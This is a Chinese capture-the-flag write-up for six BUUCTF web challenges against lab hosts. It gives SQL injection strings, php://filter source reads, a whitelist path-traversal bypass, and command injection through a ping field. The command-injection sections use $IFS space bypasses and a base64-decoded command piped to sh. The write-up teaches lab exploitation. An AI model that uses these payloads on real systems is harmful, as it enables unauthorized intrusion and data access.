BUUCTF——WEB(1)

目录

[[极客大挑战 2019]EasySQL 1](#[极客大挑战 2019]EasySQL 1)

SQL注入-联合查询

万能密码

[[极客大挑战 2019]Havefun 1](#[极客大挑战 2019]Havefun 1)

GET传参

[[ACTF2020 新生赛]Include 1](#[ACTF2020 新生赛]Include 1)

文件包含

[[HCTF 2018]WarmUp 1](#[HCTF 2018]WarmUp 1)

PHP,代码审计

详解1

[[ACTF2020 新生赛]Exec 1](#[ACTF2020 新生赛]Exec 1)

命令执行+绕过

[[GXYCTF2019]Ping Ping Ping 1](#[GXYCTF2019]Ping Ping Ping 1)

代码执行+空格过滤绕过

思路

[极客大挑战 2019]EasySQL 1

SQL注入-联合查询

尝试注入

复制代码
1' union select 1,2,3#

万能密码

复制代码
1' or 1=1 #

[极客大挑战 2019]Havefun 1

GET传参

f12查看

需要cat变量接收参数

复制代码
http://f69388b9-59e3-4ef1-a9c0-5ad629ced439.node5.buuoj.cn:81/?cat=dog

[ACTF2020 新生赛]Include 1

文件包含

检查网页代码

尝试

复制代码
http://574cc90f-0dc1-4611-9988-d04ea3652e5e.node5.buuoj.cn:81/?file=php://input

文件包含直接读取的是文件,而不是文件源码,所以要想办法读取源码

复制代码
php://filter/read=convert.base64-encode/resource=xxx.php

格式

可选参数,有read和write,字面意思就是读和写

过滤器。主要有四种:字符串过滤器,转换过滤器,压缩过滤器,加密过滤器。filter里可以用一或多个过滤器(中间用|隔开),这为解题提供了多种方法,灵活运用过滤器是解题的关键。这里的过滤器是把文件flag.php里的代码转换(convert)为base64编(encode)

必选参数,后面写要处理的文件名

这个方法可以读取代码

读取index.php代码

复制代码
PG1ldGEgY2hhcnNldD0idXRmOCI+Cjw/cGhwCmVycm9yX3JlcG9ydGluZygwKTsKJGZpbGUgPSAkX0dFVFsiZmlsZSJdOwppZihzdHJpc3RyKCRmaWxlLCJwaHA6Ly9pbnB1dCIpIHx8IHN0cmlzdHIoJGZpbGUsInppcDovLyIpIHx8IHN0cmlzdHIoJGZpbGUsInBoYXI6Ly8iKSB8fCBzdHJpc3RyKCRmaWxlLCJkYXRhOiIpKXsKCWV4aXQoJ2hhY2tlciEnKTsKfQppZigkZmlsZSl7CglpbmNsdWRlKCRmaWxlKTsKfWVsc2V7CgllY2hvICc8YSBocmVmPSI/ZmlsZT1mbGFnLnBocCI+dGlwczwvYT4nOwp9Cj8+Cg==

base64解码

复制代码
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	include($file);
}else{
	echo '<a href="?file=flag.php">tips</a>';
}
?>

一些协议被过滤

读取flag.php代码

复制代码
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NmI3MDhhYzktY2EyZi00MmZjLTg1MTQtYjIxMjA5MjY4NmNkfQo=

base64解码

复制代码
<?php
echo "Can you find out the flag?";
//flag{6b708ac9-ca2f-42fc-8514-b212092686cd}

[HCTF 2018]WarmUp 1

详细解析

参考大佬文档

https://www.cnblogs.com/JYLuo/p/18931570

PHP,代码审计

检查源代码

访问source.php

显示,代码审计

php 复制代码
<?php
    highlight_file(__FILE__);		//高亮显示
	//定义一个名为 emmm 的类(类似 Java/C++ 中的类)
    class emmm
    {
        // public:函数可以被外部访问。
		// static:函数属于类本身,无需创建对象即可调用(如 emmm::checkFile())。
		// 静态方法checkFile用于检查文件
		// &$page:引用传递参数,直接修改原始变量的值(这里未实际修改)。
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];		#白名单仅允许source.php、hint.php
            if (! isset($page) || !is_string($page)) {		#变量是否存在且不为NULL,变量是否为字符串类型
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {		#参数匹配白名单
                return true;
            }

            //截断?后的内容再校验:比如page=source.php?xxx → 截断为source.php
            //mb_substr()函数,截取 $page 从开头到 ? 之前的部分
            //mb_strpos()函数,查找字符串中第一次出现 ? 的位置
            //$page . '?' 在字符串末尾添加 ?,防止找不到 ? 时返回 NULL
            //例如:$page = "source.php?xxx" → $_page = "source.php"
            //如果截取后的内容在白名单中,允许访问。
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            // URL解码后再截断?校验:处理编码后的参数(比如%3F代替?)
            // urldecode($page):对 URL 编码的字符串进行解码(例如 %20 → 空格)
            $_page = urldecode($page);
            // 再次截取解码后的字符串中 ? 之前的部分,检查是否在白名单中
            # 例如:$page = "source.php%3Fxxx"(%3F 是 ? 的 URL 编码)→ 解码后 $_page = "source.php"
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

	# 主程序:接收用户输入并包含文件
    if (! empty($_REQUEST['file'])		#file参数不为空
        && is_string($_REQUEST['file'])		#file参数字符串类型
        && emmm::checkFile($_REQUEST['file'])		#file参数通过checkFile校验
    ) {
        include $_REQUEST['file'];		// 校验通过则包含文件
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>`

访问hint.php

html 复制代码
flag not here, and flag in ffffllllaaaagggg

编写Payload

html 复制代码
http://f8be49f0-e64b-4584-8d55-48c2c40fdd71.node5.buuoj.cn:81/?file=hint.php?/../../../../ffffllllaaaagggg

拿到flag

详解1

1、为什么php后要加" ?"呢:

(1)为了应付上面的检查,不然它就会在ffffllllaaaagggg后面加一个?我们就无法通过检测 (2)为了应付include函数,如下

2、include函数解释(以下通过上面给的第一个payload加以解释)

第一步:绕过白名单

传进 file= 的是: hint.php?/../../../../ffffllllaaaagggg PHP 会提取 ? 前的部分(hint.php),发现它在白名单中,就放行了

第二步:PHP include 怎么处理这个路径?

include('hint.php?/../../../../ffffllllaaaagggg'); 这是 PHP 的语法

PHP 遇到 include("xxx?yyy") 的时候, 只会 include xxx 这个文件*,不会理会* ?yyy 所以,PHP 实际执行的是: include("hint.php");

到这里是读取 hint.php 并执行它

[ACTF2020 新生赛]Exec 1

命令执行+绕过

找flag

访问

html 复制代码
127.0.0.1;cat /flag
html 复制代码
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.033 ms
64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.071 ms
64 bytes from 127.0.0.1: seq=2 ttl=42 time=0.070 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.033/0.058/0.071 ms
flag{0af9eb03-c848-493b-8897-93a60582c319}

[GXYCTF2019]Ping Ping Ping 1

代码执行+空格过滤绕过

尝试代码执行

html 复制代码
http://c6012bec-78a8-4ec7-967a-c0caea509b4f.node5.buuoj.cn:81/?ip=127.0.0.1;ls

读文件index.php

html 复制代码
http://c6012bec-78a8-4ec7-967a-c0caea509b4f.node5.buuoj.cn:81/?ip=127.0.0.1;cat%20index.php

输出:

html 复制代码
/?ip= fxck your space!

猜测

目标网站是对空格进行了过滤

空格绕过方法

html 复制代码
%20
%09
$IFS$9
${IFS}$9
{IFS}
IFS 
html 复制代码
http://c6012bec-78a8-4ec7-967a-c0caea509b4f.node5.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$9index.php

查看网页源代码index.php

index.php,代码审计,绕过

php 复制代码
<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
    
  # 过滤规则1:拦截特殊符号 + ASCII 0~31不可见字符
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
      
  # 过滤规则2:单独拦截纯空格(补充规则1的遗漏)
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
      
  # 过滤规则3:拦截包含"bash"的字符串(仅拦bash,不拦其他shell)
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
      
  # 过滤规则4:拦截按顺序包含f→l→a→g的字符串
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>
  • flag也被过滤了

大小写,base64编码,分段拼接被过滤

思路
  1. 通过变量实现字符串拼接
php 复制代码
?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
  1. sh命令执行(bash被过滤)

注:sh是linux中运行shell的命令,bash相当于sh的升级版,sh∈bash

php 复制代码
cat flag.php进行base64编码
Y2F0IGZsYWcucGhw
通过echo输出编码后的字符串
经base64 -d解码还原成原命令
最后交给 sh 执行
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

成功获取flag

3. 内联执行(大佬操作)

内联,就是将反引号内命令的输出作为输入执行

先执行反引号内的ls命令,将其输出作为cat的参数

php 复制代码
?ip=127.0.0.1;cat$IFS$9`ls`
相关推荐
白帽子黑客杰哥2 小时前
推荐一些适合零基础学习网络安全的具体在线课程或书籍?
学习·安全·web安全·网络安全·渗透测试
eve杭14 小时前
AI、大数据与智能时代:从理论基石到实战路径
人工智能·python·5g·网络安全·ai
文刀竹肃14 小时前
DVWA -SQL Injection-通关教程-完结
前端·数据库·sql·安全·网络安全·oracle
Neolnfra15 小时前
任意文件下载漏洞
计算机网络·安全·web安全·网络安全·系统安全·安全威胁分析·安全架构
Neolnfra20 小时前
RCE(远程命令执行)漏洞全解析:从原理到实战
安全·web安全·http·网络安全·https·系统安全·可信计算技术
hhcgchpspk20 小时前
一次msf免杀渗透入门实践
linux·经验分享·网络安全·系统安全·渗透·msf
汤愈韬21 小时前
防火墙用户管理技术
网络协议·网络安全·huawei
Neolnfra1 天前
文件包含漏洞终极指南
开发语言·安全·web安全·网络安全·系统安全·php·可信计算技术
无名修道院1 天前
XSS 跨站脚本攻击:3 种类型(存储型 / 反射型 / DOM 型)原理以 DVWA 靶场举例
前端·网络安全·渗透测试·代码审计·xss